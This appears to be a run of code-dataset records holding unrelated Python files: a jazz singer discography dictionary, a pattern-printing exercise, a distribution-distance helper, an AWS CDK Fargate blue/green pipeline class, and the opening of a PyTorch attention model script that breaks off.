Records--1947','\\\nI\\'ll Be Faithful / Everything I Have Is Yours--MGM Records--1948','\\\nI Got A Date With Rhythm / Jump Call--DeLuxe (2)--1949','\\\nTemptation / Crying--MGM Records--1949','\\\nMy Foolish Heart / (We\\'ve Got A) Sure Thing--MGM Records--1949','\\\nNo Orchids For My Lady / Bewildered--MGM Records--1949','\\\nOh Come, All Ye Faithful / Oh, Holy Night--MGM Records--1950','\\\nBe My Love / Only A Moment Ago--MGM Records--1950','\\\nI\\'m So Crazy For Love / I Guess I\\'ll Have To Dream The Rest--MGM Records--1950','\\\nYou Go To My Head / Over The Rainbow--MGM Records--0','\\\nMy Destiny / Roses--MGM Records--0','\\\nI\\'ll Know--MGM Records--1950','\\\nThe Show Must Go On / You\\'ve Got Me Crying Again--MGM Records--1950','\\\nBlue Christmas / The Lonely Shepherd--MGM Records--0','\\\nI Wanna Be Loved / Stardust--MGM Records--1950','\\\nBaby Won\\'t You Say You Love Me / Free--MGM Records--1950','\\\nYou\\'re All I Need / Dedicated To You--MGM Records--1950'),'\\\nLeon Thomas':('\\\nSpirits Known And Unknown--Flying Dutchman--1969','\\\n3 Shades Of Blue--Flying Dutchman--1970','\\\nDamn Nam (Ain\\'t Goin\\' To Vietnam)--Flying Dutchman--1970','\\\nSNCC\\'s Rap--Flying Dutchman--1970','\\\nThe Leon Thomas Album--Flying Dutchman--1970','\\\nSuper Black Blues: Volume II--Flying Dutchman--1970','\\\nGold Sunrise On Magic Mountain--Mega Records (4)--1971','\\\nIn Berlin--Flying Dutchman--0','\\\nThe Creator Has A Master Plan (Peace)--Flying Dutchman--1971','\\\nChina Doll (Part 1)--Flying Dutchman--1972','\\\nLet\\'s Go Down To Lucy\\'s / Love Each Other--Flying Dutchman--1972','\\\nBlues And The Soulful Truth--Flying Dutchman--1973','\\\nL-O-V-E / Boom-Boom-Boom--Flying Dutchman--0','\\\nNever Let Me Go / Just In Time To See The Sun--Flying Dutchman--1973','\\\nFull Circle--Flying Dutchman--1973','\\\nFacets - The Legend Of Leon Thomas--Flying Dutchman--1973','\\\nThank You Baby--Don--1975','\\\nShukuru--Theresa Records--1985','\\\nPrecious Energy--Mapleshade Productions--1990','\\\nAnthology--Soul Brother Records (3)--1998','\\\nLive 1970--Gearbox Records--2014','\\\nThe Main Man--Inner City Records--1977','\\\nJazz Juice--Street Sounds--1985','\\\nPop Goes The Basie--Reprise Records--1965','\\\nBasie Picks The Winners--Verve Records--1965','\\\nKarma--Impulse!--1969','\\\nJewels Of Thought--Impulse!--1970','\\\nAnd His Friends--Flying Dutchman--1970','\\\nFor Losers--Impulse!--1970','\\\nGee Baby--Colossus--1971','\\\nThe Best Of Pharoah Sanders--Impulse!--1972','\\\nCarlos Santana & Buddy Miles! Live!--Columbia--1972','\\\nA Meeting Of The Times--Atlantic--1972','\\\nImpulse Energy Essentials (A Developmental And Historical Introduction To The New Music)--Impulse!--1972','\\\nWelcome--Columbia--1973','\\\nOrganic Music Society--Caprice Records--1973','\\\nBienvenido--CBS--1973','\\\nIzipho Zam (My Gifts)--Strata-East--1973','\\\nKwanza--Impulse!--1974','\\\nLotus--CBS/Sony--1974','\\\nSantana Live In Japan--CBS/Sony--1975','\\\nMary Lou\\'s Mass--Mary Records--1975'),'\\\nGrady Tate':('\\\nOrgan Grinder Swing--Verve Records--1965','\\\nThe Organ Grinder\\'s Swing--Verve Records--1965','\\\nWindmills Of My Mind--Skye Records--1968','\\\nOrganized Jazz--Coral--1968','\\\nAnd I Love Her--Skye Records--1969','\\\nNightwind--Skye Records--1969','\\\nFeeling Life--Skye Records--1969','\\\nSlaves--Skye Records--1969','\\\nBe Black Baby--Skye Records--1969','\\\nHooray--Skye Records--1969','\\\nAfter The Long Drive Home--Skye Records--1970','\\\nGiants--Perception Records (5)--1971','\\\nFreedom For The Stallion / I Wish I Could Walk Away--Janus Records--1973','\\\nMovin\\' Day--Janus Records--1974','\\\nBy Special Request--Buddah Records--1974','\\\nScreaming Mothers--Mainstream Records--1974','\\\nRecorded Live At Jimmy\\'s--RCA--1975','\\\nFuniculi Funicula --ABC Impulse!--1977','\\\nSongs For New Lovers--Stash Records Inc.--1978','\\\nDemoiselle--Not On Label--1979','\\\nOff The Top--Elektra Musician--1982','\\\nAin\\'t But A Few Of Us Left--Pablo Records--1982','\\\nThreesome--Soul Note--1986','\\\nSoftly I Swing--Red Baron--1992','\\\nJazz Meets The Symphony --EastWest--1993','\\\nSo Easy To Remember--Omega (19)--1993','\\\nMore Jazz Meets The Symphony--Atlantic Jazz--1994','\\\nWalkin\\'--Telarc Jazz--1995','\\\nSensitive To The Touch: The Music Of Harold Arlen--Groove Jams--1998','\\\nFourmost Return--Milestone (4)--2001','\\\nSings All Love--Village Records Inc.--2002','\\\nApres Un Reve--Kang & Music--2003','\\\nThe World Of Duke Ellington Vol.1--BHM Productions--2008','\\\nHear, O Israel - A Concert Service In Jazz--National Federation Of Temple Youth--1968'),'\\\nJoe Williams':('\\\nEvery Day I Have The Blues / They Didn\\'t Believe Me--Checker--1952','\\\nCount Basie Swings & Joe Williams Sings--Clef Records--1954','\\\nCount Basie Swings--Joe Williams Sings--Clef Records--1955','\\\nA Night At Count Basie\\'s--Vanguard--1955','\\\nApril In Paris--Clef Records--1956','\\\nSings Everyday--Savoy Records--1969','\\\nSmack Dab In The Middle / Big Red--Clef Records--1956','\\\nAlright, Okay, You Win / (In The Evening) When The Sun Goes Down--Clef Records--1955','\\\nAmazing Love / Magic--Clef Records--1956','\\\nAs I Love You / Stop! Don\\'t!--Verve Records--1956','\\\nBlow Mr. Low / Time For Moving--Savoy Records--1956','\\\nMy Baby Upsets Me / Teach Me Tonight--Verve Records--1956','\\\nCount Basie Swings And Joe Williams Sings--Karusell--1957','\\\nWhat\\'s New--Roulette--1957','\\\nOne O\\'Clock Jump--Verve Records--1959','\\\nAt Newport--Verve Records--1958','\\\nHow Can You Lose (What \\'Cha Never Had) / Five O\\'Clock In The Morning--Roulette--1958','\\\nA Man Ain\\'t Supposed To Cry--Roulette--1958','\\\nThat Kind Of Woman / You Brought A New Kind Of Love To Me--Roulette--1959','\\\nThe Big Three--Roulette--0','\\\nTell Me Your Troubles / Hallelujah, I Love Her So--Roulette--1958','\\\nMemories Ad-Lib--Roulette--1959','\\\nSing Along With Basie--Roulette--1959','\\\nBreakfast Dance And Barbecue--Roulette--1959','\\\nAin\\'t No Use / Shake Rattle And Roll--Roulette--1959','\\\nSings About You--Roulette--1959','\\\nEveryday I Have The Blues--Roulette--1959','\\\nJoe Williams With Songs About That Kind Of Woman--Roulette--1960','\\\nJust The Blues--Roulette--1960','\\\nOne O\\'Clock Jump--Verve Records--1960','\\\nSomebody--Columbia--1960','\\\nTogether--Roulette--1961','\\\nSentimental & Melancholy--Roulette--0','\\\nHave A Good Time With Joe Williams--Roulette--1961'),'\\\nSarah Vaughan':('\\\nMean To Me / Signing Off--Continental (6)--1946','\\\nYou Go To My Head / It Might As Well Be Spring--Crown Records (31)--1947','\\\nBody And Soul / When We\\'re Alone--Parlophone--1947','\\\nEast Of The Sun / Interlude--Continental (6)--1947','\\\nMean to Me / What More Can a Woman Do?--Lenox (2)--1948','\\\nIt\\'s You Or No One / It\\'s Magic--Musicraft--1948','\\\nTonight I Shall Sleep (With A Smile On My Face)--Columbia--1949','\\\nTenderly / I\\'ll Wait And Pray--MGM Records--1949','\\\nYou Say You Care--Columbia--1949','\\\nFool\\'s Paradise / Lonely Girl--Columbia--1949','\\\nThe Man I Love--MGM Records--1949','\\\nBlack Coffee / As You Desire Me--Columbia--0','\\\nI Can\\'t Get Started--MGM Records--1950','\\\nI\\'m Gonna Sit Right Down And Write Myself A Letter--MGM Records--1950','\\\nSarah Vaughan--Columbia--1950','\\\nHot Jazz--Remington--1950','\\\nYou\\'re Mine, You / The Nearness Of You--Columbia--1950','\\\nI Love The Guy / Thinking Of You--Columbia--1950','\\\nYou\\'re All I Need / Dedicated To You--MGM Records--1950'),'\\\nCarmen McRae':('\\\nA Foggy Day With Carmen McRae--Stardust (6)--1953','\\\nOoh (What\\'cha Doin\\' To Me) / If I\\'m Lucky (I\\'ll Be The One)--Decca--1954','\\\nLove Is Here To Stay / This Will Make You Laugh--Decca--1955','\\\nKeep Me In Mind--Decca--0','\\\nTorchy!--Decca--1955','\\\nGet Set / You Don\\'t Have To Tell Me--Decca--1955','\\\nI Go For You / A Fine Romance--Decca--1955','\\\nCome On, Come In--Decca--1955','\\\nCoax Me / Rich Man, Poor Man --Decca--1955','\\\nCarmen McRae--Bethlehem Records--1955','\\\nWhatever Lola Wants / Am I The One To Blame--Decca--1955','\\\nCome Down To Earth , Mr. Smith--Decca--1955','\\\nI\\'ll Love you (Till I Die)--Brunswick--1958','\\\nTonight He\\'s Out To Break Another Heart / Star Eyes--Decca--1956','\\\nBlue Moon--Decca--1956','\\\nBethlehem\\'s Girlfriends--Bethlehem Records--1956','\\\nBy Special Request--Decca--1956','\\\nStar Eyes / I\\'m A Dreamer (Aren\\'t We All)--Brunswick--1956','\\\nYou Don\\'t Know Me--Decca--0','\\\nEasy To Love - Part 1--London Records--1956','\\\nBoy Meets Girl--Decca--1957','\\\nAs I Love You / Passing Fancy--Decca--1957','\\\nLondon\\'s Girl Friends No. 3--London Records--1957','\\\nAfter Glow--Decca--1957','\\\nIt\\'s Like Getting A Donkey To Gallop--Decca--1957','\\\nWhatever Lola Wants (Lola Gets)--Brunswick--1957','\\\nBoy Meets Girl--Decca--1957','\\\nMad About The Man, Carmen McRae Sings Noel Coward--Decca--1958','\\\nCarmen For Cool Ones--Decca--1958','\\\nMy Foolish Heart--Vocalion (2)--1958','\\\nBirds Of A Feather--DECCA--1958','\\\nSkyliner / If You Should Leave Me --Decca--1958','\\\nI\\'ll Love You / I Love The Ground You Walk On--Decca--1958','\\\nShow Me The Way / Talk To Me--Kapp Records--1959'),'\\\nPeggy Lee':('\\\nWaitin\\' For The Train To Come In / I\\'m Glad I Waited For You--Capitol Records--1945','\\\nWhat More Can A Woman Do? / You Was Right Baby--Capitol Records--1945','\\\nIt\\'s All Over Now / Aren\\'t You Kind Of Glad We Did?--Capitol Records--1946','\\\nLinger In My Arms A Little Longer, Baby / Baby You Can Count On Me--Capitol Records--1946','\\\nIt Takes A Long Long Train With A Red Caboose (To Carry My Blues Away) / Just An Old Love Of Mine--Capitol Records--1947','\\\nLaroo Laroo Lili Bolero / Talking To Myself About You--Capitol Records--1948','\\\nSo Dear To My Heart / Love Your Spell Is Everywhere--Capitol Records--1948','\\\nCaramba! It\\'s The Samba / Baby, Don\\'t Be Mad At Me--Capitol Records--1948','\\\nRendezvous With Peggy Lee--Capitol Records--1948','\\\nMañana / All Dressed Up With A Broken Heart--Capitol Records--1948','\\\nBenny Goodman And Peggy Lee--Columbia--1949','\\\nThe Old Master Painter--Capitol Records--1949','\\\nBali Ha\\'i / There Is Nothin\\' Like A Dame--Capitol Records--1949','\\\nRiders In The Sky (A Cowboy Legend) / Please Love Me Tonight--Capitol Records--1949','\\\nRiders In The Sky (A Cowboy Legend) / Similau--Capitol Records--1949','\\\nSomeone Like You / You Was--Capitol Records--1949','\\\nOnce In A Lifetime / Life Is So Peculiar--Capitol Records--1950','\\\nMy Best To You - Peggy Lee Sings--Capitol Records--1950','\\\nShow Me The Way To Get Out Of This World / Happy Music--Capitol Records--1950'),'\\\nBillie Holiday':('\\\nI\\'ll Get By / Mean To Me--Brunswick--1937','\\\nBody and Soul / What Is This Going To Get Us?--Vocalion (2)--1940','\\\nNight And Day / The Man I Love--Okeh--1940','\\\nMy Man (Mon Homme) / Can\\'t Help Lovin\\' Dat Man--Brunswick--1937','\\\nMore Than You Know / Sugar--Columbia--1941','\\\nSt. Louis Blues / Loveless Love--Okeh--1941','\\\nHot Jazz Classics--Columbia--1941','\\\nGeorgia On My Mind / Let\\'s Do It (Let\\'s Fall In Love)--Okeh--1941','\\\nI Love My Man / My Man / When You\\'re Smiling--V Disc--1944','\\\nI Cover The Waterfront / Lover Come Back To Me--Commodore--1945','\\\nThem There Eyes / Body And Soul--Columbia--1947','\\\nLover Man (Oh, Where Can You Be?) / That Ole Devil Called Love--Decca--1945','\\\nGood Morning Heartache / No Good Man--Decca--1946','\\\nWhat Is This Thing Called Love? / Don\\'t Explain--Decca--1946','\\\nShe\\'s Funny That Way / How Am I To Know--Commodore--1946','\\\nGloomy Sunday / Night And Day--Columbia--1947','\\\nI\\'m Yours / My Old Flame--Commodore--1947','\\\nI\\'ll Look Around / Baby, I Don\\'t Cry Over You--Decca--1947','\\\nBillie Holiday--Commodore--1947','\\\nEasy Living / Deep Song--Decca--1947','\\\nThere Is No Greater Love / Solitude--Decca--1947','\\\nStrange Fruit / Fine And Mellow--Commodore--1939','\\\nAs Time Goes By / Embraceable You--Commodore--1948','\\\nI Love My Man / On The Sunny Side Of The Street--Commodore--1948'),'\\\nElla Fitzgerald':('\\\nI Want To Be Happy / Hallelujah!--Decca--1937','\\\nDedicated To You / Big Boy Blue--Decca--1937','\\\nStairway To The Stars / Out Of Nowhere--Decca--1947','\\\nI\\'m Making Believe / Into Each Life Some Rain Must Fall--Decca--1944','\\\nCow-Cow Boogie / When My Sugar Walks Down The Street--Decca--1944','\\\nCow-Cow Boogie / Don\\'t Believe Everything You Dream--Decca--0','\\\nAnd Her Tears Flowed Like Wine / Confessin\\' (That I Love You)--Decca--1944','\\\nA Kiss Goodnight / Benny\\'s Coming Home On Saturday--Decca--1945','\\\nIt\\'s Only A Paper Moon / (I\\'m Gonna Hurry You Out Of My Mind And) Cry You Out Of My Heart--Decca--1945','\\\nI\\'m Beginning To See The Light / That\\'s The Way It Is--Decca--1945','\\\nYou Won\\'t Be Satisfied / The Frim Fram Sauce--Decca--1946\\:(I Love You) For Sentimental Reasons / It\\'s A Pity To Say Goodnight--Decca--1946','\\\nI Didn\\'t Mean A Word I Said / I\\'m Just A Lucky So-And-So--Decca--1946','\\\nDon\\'t You Think I Ought To Know / My Happiness--Brunswick--0','\\\nStone Cold Dead In The Market / Petootie Pie--Decca--1946','\\\nSentimental Journey / That\\'s My Desire--Brunswick--1947','\\\nThat\\'s My Desire / A Sunday Kind Of Love --Decca--0','\\\nOh, Lady Be Good! / Flying Home--Decca--1947','\\\nSouvenir Album--Decca--1949','\\\nGuilty / Sentimental Journey--Decca--1947','\\\nCow Cow Boogie (Cuma-Ti-Yi-Yi-Ay) / That\\'s The Way It Is--Decca--1947','\\\nMy Happiness / Tea Leaves--Decca--1948','\\\nHow High The Moon / You Turned The Tables On Me--Decca--0','\\\nI\\'ve Got a Feeling I\\'m Falling / My Baby Likes to Be-Bop--Decca--1948'),'\\\nJackie Cain':('\\\nEast of Suez/I\\'m Forever Blowing Bubbles--Decca--1949','\\\nLullaby In Rhythm / Birdland--RCA Victor--1949','\\\nGene Norman Presents A Charlie Ventura Concert--Decca--1953','\\\nF.Y.I.--EmArcy--1954','\\\nIn Concert--Gene Norman Presents--1954','\\\nIt\\'s All Bop To Me--RCA Victor--1955','\\\nJumping With Ventura--EmArcy--1955','\\\nIt\\'s All Bop To Me--RCA Victor--1955','\\\nStoryville Presents Jackie And Roy--Storyville (3)--1955','\\\nStoryville Presents Jackie And Roy--Storyville (3)--1955','\\\nSing! Baby Sing!--Storyville (3)--1956','\\\nThe Glory Of Love--ABC-Paramount--1956','\\\nJazz Classics By Charlie Ventura\\'s Band--Savoy Records--0','\\\nFree And Easy!--ABC-Paramount--1958','\\\nDouble Take--Columbia--1961','\\\nTwo For The See Saw (Original Motion Picture Soundtrack)--United Artists Records--1962','\\\nLovesick--Verve Records--1967','\\\nGrass--Capitol Records--1968','\\\nGiant Box--CTI Records--1973','\\\nA Wilder Alias--CTI Records--1974','\\\nCharlie Ventura And His Band In Concert--GNP Crescendo--1976','\\\nStar Sounds--Concord Jazz--1980','\\\nEast Of Suez--Concord Jazz--1981','\\\nBogie--Fantasy--1986','\\\nOne More Rose - A Tribute To Alan Jay Lerner--Audiophile (2)--1987','\\\nFull Circle--Contemporary Records--1988','\\\nHarmony Farm--Pioneer (3)--1995','\\\nConcerts By The Sea--Studio 7 Records--1977','\\\nA Trip To Brazil Volume 3: Back To Bossa--Boutique--2002'),'\\\nDakota Staton':('\\\nWhat Do You Know About Love--Capitol Records--1954','\\\nAbracadabra--Capitol Records--1955','\\\nA Little You / Don\\'t Leave Me Now--Capitol Records--1955','\\\nThe Late, Late Show / Trust In Me--Capitol Records--1957','\\\nThe Late, Late Show--Capitol Records--1957','\\\nIn The Night--Capitol Records--1958','\\\nInvitation --Capitol Records--0','\\\nConfessin\\' The Blues / (I\\'m Left With The) Blues In My Heart--Capitol Records--0','\\\nDynamic!--Capitol Records--1958','\\\nDynamic! Part 2--Capitol Records--1958','\\\nCrazy He Calls Me - Part 1--Capitol Records--1959','\\\nTime To Swing--Capitol Records--1959','\\\nMore Than The Most--Capitol Records--1959','\\\nCrazy He Calls Me--Capitol Records--1959','\\\nDakota--Capitol Records--1962','\\\nI Won\\'t Worry / First Things First--Capitol Records--1960','\\\nMy Babe / Romance In The Dark--Capitol Records--1960','\\\nSoftly--Capitol Records--1960','\\\nSings Ballads And The Blues--Capitol Records--1960','\\\n\\'Round Midnight--Capitol Records--1961','\\\nDakota At Storyville--Capitol Records--1962','\\\nFrom Dakota With Love--United Artists Records--1962','\\\nWhen I Grow Too Old To Dream / Mean And Evil Blues--Capitol Records--1962','\\\nWhen It\\'s Sleepy Time Down South--United Artists Records--1963','\\\nLive And Swinging--United Artists Records--1964','\\\nDakota \\'67--London Records--1967','\\\nI\\'ve Been There--Verve Records--1970'),'\\\nAnita O\\'Day':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nChris Connors':('\\\nFollowing My Intuition--Sony Music--2016','\\\nFollowing My Intuition--Sony Music--2016','\\\nBaia / All About Ronnie--Capitol Records--1953','\\\nAnd The Bull Walked Around, Olay!--Capitol Records--0','\\\nLive At Buffalo--CCB Productions--1991','\\\nIn A Soulful Mood--Music Club--1996','\\\nBreak Open The Head--Visiting Hours--2016','\\\nFollowing My Intuition--Sony Music--2016','\\\nFollowing My Intuition--Sony Music--2016'),'\\\nJune Christ':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nBetty Carter':('\\\nMeet Betty Carter And Ray Bryant--Epic--1955','\\\nThe Modern Sound Of Betty Carter--ABC-Paramount--1960','\\\nRay Charles And Betty Carter--ABC-Paramount--1961','\\\nBaby It\\'s Cold Outside--no label--1961','\\\nBaby It\\'s Cold Outside--ABC-Paramount--1961','\\\nOne Note Samba - Bossa Nova--ATCO Records--1962','\\\n\\'Round Midnight--Atco Records--1963','\\\nInside Betty Carter--United Artists Records--1964','\\\nFinally--Roulette--1975','\\\nBetty Carter--Bet-Car Productions--1970','\\\nRound Midnight--Roulette--1975','\\\nBetty Carter--Bet-Car Productions--1976','\\\nNow It\\'s My Turn--Roulette--1976','\\\nSocial Call--Columbia--1980','\\\nThe Audience With Betty Carter--Bet-Car Records--1980','\\\nWhatever Happened To Love?--Bet-Car Records--1982','\\\nLive At The Great American Hall San Francisco--The Great American Music Hall Records--1987','\\\nLook What I Got--Verve Records--1988','\\\nBetty Carter--Fabbri Editori--1989','\\\nBetty Carter--Verve Records--1990','\\\nDroppin\\' Things--Verve Records--1990','\\\nIt\\'s Not About The Melody--Verve Records--1992','\\\nI Can\\'t Help It--Impulse!--1992','\\\nFeed The Fire--Verve Records--1994','\\\nI\\'m Yours, You\\'re Mine--Verve Records--1996','\\\nThe Carmen McRae - Betty Carter Duets: Live At The Creat American Music Hall, San Francisco--Verve Records--1996','\\\nBetty Carter\\'s Finest Hour--Verve Records--2003','\\\nLive In Montreal --Universal--2005')\\\n}\n\n\nclass album:\n\n\tdef init_albumDB(self):\n\t\talbum.DB = []\n\t\talbum.DB = album_dict\n\t\treturn album.DB\n","repo_name":"KikalaT/jazzreal","sub_path":"albumDB.py","file_name":"albumDB.py","file_ext":"py","file_size_in_byte":368470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38896067023","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 19 13:00:04 2021\n\n@author: emirtarikarici\n\"\"\"\n\n#\\oooooooo/\n# \\oooooo/\n# \\oooo/\n# \\oo/\n# \\/\n# /\\\n# /oo\\\n# /oooo\\\n# /oooooo\\\n#/oooooooo\\\n \ndef up2():\n for i in range(1,11,):\n for j in range(1,i):\n print(\"\\\\\", end=\"\")\n for j in range(1, 2*i):\n print(\"o\", end=\"\")\n print() \n \nup2()","repo_name":"emirtarikarici/CS104","sub_path":"Lab Codes/Lab4/sol2.py","file_name":"sol2.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39191068561","text":"from contracts import contract\n\nimport numpy as np\n\nfrom .ddist_contracts import *\n\n\n__all__ = [\n 'ddist_diff_l1',\n]\n\n@contract(d1='ddist', d2='ddist', returns='float, >=0')\ndef ddist_diff_l1(d1, d2):\n \"\"\" L1 difference between distributions. \"\"\"\n all_states = set(d1) | set(d2)\n diff = 0.0\n for s in all_states:\n diff += np.abs(d1.get(s, 0) - d2.get(s, 0))\n return diff\n","repo_name":"AndreaCensi/tmdp","sub_path":"src/ddist/distances.py","file_name":"distances.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"16827742725","text":"import re\n\nfrom typing import Any, Dict\nfrom aws_cdk.core import RemovalPolicy\nfrom aws_cdk.custom_resources import AwsCustomResource\nfrom aws_empty_bucket.empty_s3_bucket import EmptyS3Bucket\nfrom aws_empty_ecr_repository.empty_ecr_repository import EmptyEcrRepository\nfrom aws_ci_cd_fargate.source.pipeline_commit_to_ecr import PipelineCommitToEcr\nfrom aws_ci_cd_fargate.source.pipeline_ecr_to_ecs import PipelineEcrToEcs\nfrom aws_cdk import (\n aws_ecs,\n aws_codecommit,\n aws_elasticloadbalancingv2,\n aws_s3,\n core\n)\n\n\nclass EcsPipeline:\n \"\"\"\n Class which creates infrastructure for CI/CD Blue/Green Ecs Fargate deployments.\n \"\"\"\n def __init__(\n self,\n scope: core.Stack,\n prefix: str,\n main_listener: aws_elasticloadbalancingv2.CfnListener,\n deployments_listener: aws_elasticloadbalancingv2.CfnListener,\n ecs_service: AwsCustomResource,\n ecs_cluster: aws_ecs.Cluster,\n task_def: str,\n app_spec: str,\n build_environment: Dict[str, Any],\n docker_build_args: Dict[str, str],\n production_target_group,\n deployment_target_group\n ) -> None:\n \"\"\"\n Constructor.\n\n :param scope: A CloudFormation template to which add resources.\n :param prefix: A prefix for newly created resources.\n :param main_listener: A listener which receives incoming traffic and forwards it to a target group.\n :param deployments_listener: A listener which receives incoming traffic and forwards it to a target group.\n This listener is used for blue/green deployment.\n :param ecs_service: Ecs service to which create this pipeline.\n :param ecs_cluster: ECS cluster in which the ECS service is.\n :param task_def: Task definition object defining the parameters for a newly deployed container.\n :param app_spec: App specification object defining the ecs service modifications.\n :param build_environment: Environment variables for a build step. You can put here various config\n parameters, urls, secrets, etc.\n :param docker_build_args: Build arguments for docker build command.\n :param production_target_group: A target group where your blue instances are serving production traffic.\n :param deployment_target_group: A target group where your green instances are ready to serve production traffic.\n \"\"\"\n self.artifacts_bucket = EmptyS3Bucket(\n scope,\n self.__convert(prefix + 'FargateArtifacts'),\n access_control=aws_s3.BucketAccessControl.PRIVATE,\n bucket_name=self.__convert(prefix + 'FargateArtifacts'),\n )\n\n self.source_code_repository = aws_codecommit.Repository(\n scope,\n prefix + 'FargateSourceCode',\n repository_name=prefix + 'FargateSourceCode'\n )\n\n self.ecr_repository = EmptyEcrRepository(\n scope, prefix + 'FargateEcrRepository',\n repository_name=prefix.lower(),\n removal_policy=RemovalPolicy.DESTROY\n )\n\n self.ecr_to_ecs = PipelineEcrToEcs(\n scope=scope,\n prefix=prefix,\n artifacts_bucket=self.artifacts_bucket,\n source_repository=self.source_code_repository,\n ecr_repository=self.ecr_repository,\n task_def=task_def,\n app_spec=app_spec,\n main_listener=main_listener,\n deployments_listener=deployments_listener,\n ecs_cluster=ecs_cluster,\n ecs_service=ecs_service,\n production_target_group=production_target_group,\n deployment_target_group=deployment_target_group\n )\n\n self.commit_to_ecr = PipelineCommitToEcr(\n scope=scope,\n prefix=prefix,\n artifacts_bucket=self.artifacts_bucket,\n ecr_repository=self.ecr_repository,\n source_repository=self.source_code_repository,\n build_environment=build_environment,\n docker_build_args=docker_build_args,\n next_pipeline=self.ecr_to_ecs.ecr_to_ecs_pipeline\n )\n\n @staticmethod\n def __convert(name: str) -> str:\n \"\"\"\n Converts CamelCase string to pascal-case where underscores are dashes.\n This is required due to S3 not supporting capital letters or underscores.\n \"\"\"\n s1 = re.sub('(.)([A-Z][a-z]+)', r'\\1-\\2', name)\n return re.sub('([a-z0-9])([A-Z])', r'\\1-\\2', s1).lower()\n","repo_name":"idenfy/AwsCiCdFargate","sub_path":"aws_ci_cd_fargate/source/ecs_pipeline.py","file_name":"ecs_pipeline.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"35351020933","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torchvision import models,transforms\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\nfrom tqdm import tqdm\r\n\r\ndef onehot(file,arg):\r\n filew = pd.read_csv(file)\r\n # one_hots = np.empty((filew.shape[0], 11),dtype=object)\r\n one_hots = {}\r\n for i in range(filew.shape[0]):\r\n if arg == 'patho_1':\r\n primary_score = filew.loc[i][0][-7]\r\n secondary_score = filew.loc[i][0][-5]\r\n elif arg == 'patho_2':\r\n primary_score = filew.loc[i][0][-3]\r\n secondary_score = filew.loc[i][0][-1]\r\n # one_hots[i,0] = filew.loc[i][0][:-4]\r\n key = filew.loc[i][0][:-8]\r\n if primary_score == '0' and secondary_score == '0':\r\n # one_hots[i, 1:] = np.eye(10)[0, :]\r\n one_hots[key] = np.eye(10)[0,:]\r\n elif primary_score == '1' and secondary_score == '1':\r\n # one_hots[i, 1:] = np.eye(10)[1, :]\r\n one_hots[key] = np.eye(10)[1, :]\r\n elif primary_score == '2' and secondary_score == '2':\r\n # one_hots[i, 1:] = np.eye(10)[2, :]\r\n one_hots[key] = np.eye(10)[2, :]\r\n elif primary_score == '3' and secondary_score == '3':\r\n # one_hots[i, 1:] = np.eye(10)[3, :]\r\n one_hots[key] = np.eye(10)[3, :]\r\n elif primary_score == '1' and secondary_score == '2':\r\n # one_hots[i, 1:] = np.eye(10)[4, :]\r\n one_hots[key] = np.eye(10)[4, :]\r\n elif primary_score == '1' and secondary_score == '3':\r\n # one_hots[i, 1:] = np.eye(10)[5, :]\r\n one_hots[key] = np.eye(10)[5, :]\r\n elif primary_score == '2' and secondary_score == '1':\r\n # one_hots[i, 1:] = np.eye(10)[6, :]\r\n one_hots[key] = np.eye(10)[6, :]\r\n elif primary_score == '2' and secondary_score == '3':\r\n # one_hots[i, 1:] = np.eye(10)[7, :]\r\n one_hots[key] = np.eye(10)[7, :]\r\n elif primary_score == '3' and secondary_score == '1':\r\n # one_hots[i, 1:] = np.eye(10)[8, :]\r\n one_hots[key] = np.eye(10)[8, :]\r\n elif primary_score == '3' and secondary_score == '2':\r\n # one_hots[i, 1:] = np.eye(10)[9, :]\r\n one_hots[key] = np.eye(10)[9, :]\r\n else:\r\n print('you are wrong, there are more than 10 possibilities,primary score:{},secondary score:{}'.format(primary_score,secondary_score))\r\n # one_hots[i, :] = np.zeros(10)[0, :]\r\n one_hots[key] = np.eye(10)[0, :]\r\n return one_hots\r\ndef preprocess(image):\r\n transform = transforms.Compose([\r\n # transforms.RandomRotation(30),\r\n # transforms.RandomHorizontalFlip(),\r\n # transforms.RandomVerticalFlip(),\r\n # transforms.ColorJitter(),\r\n # transforms.RandomCrop([224, 224]),\r\n transforms.Resize(size=224,interpolation=2)\r\n ])\r\n return transform(image)\r\n\r\nclass Attention(nn.Module):\r\n\r\n def __init__(self, pre_trained_net):\r\n super(Attention, self).__init__()\r\n self.L = 1000\r\n self.D = 128\r\n self.K = 1\r\n self.pre_trained_net = pre_trained_net\r\n self.l1 = nn.Sequential(nn.Linear(self.L, self.D), nn.Tanh())\r\n self.l2 = nn.Sequential(nn.Linear(self.L, self.D), nn.Sigmoid())\r\n self.l3 = nn.Linear(self.D, self.K)\r\n self.classifier = nn.Sequential(nn.Linear(self.L * 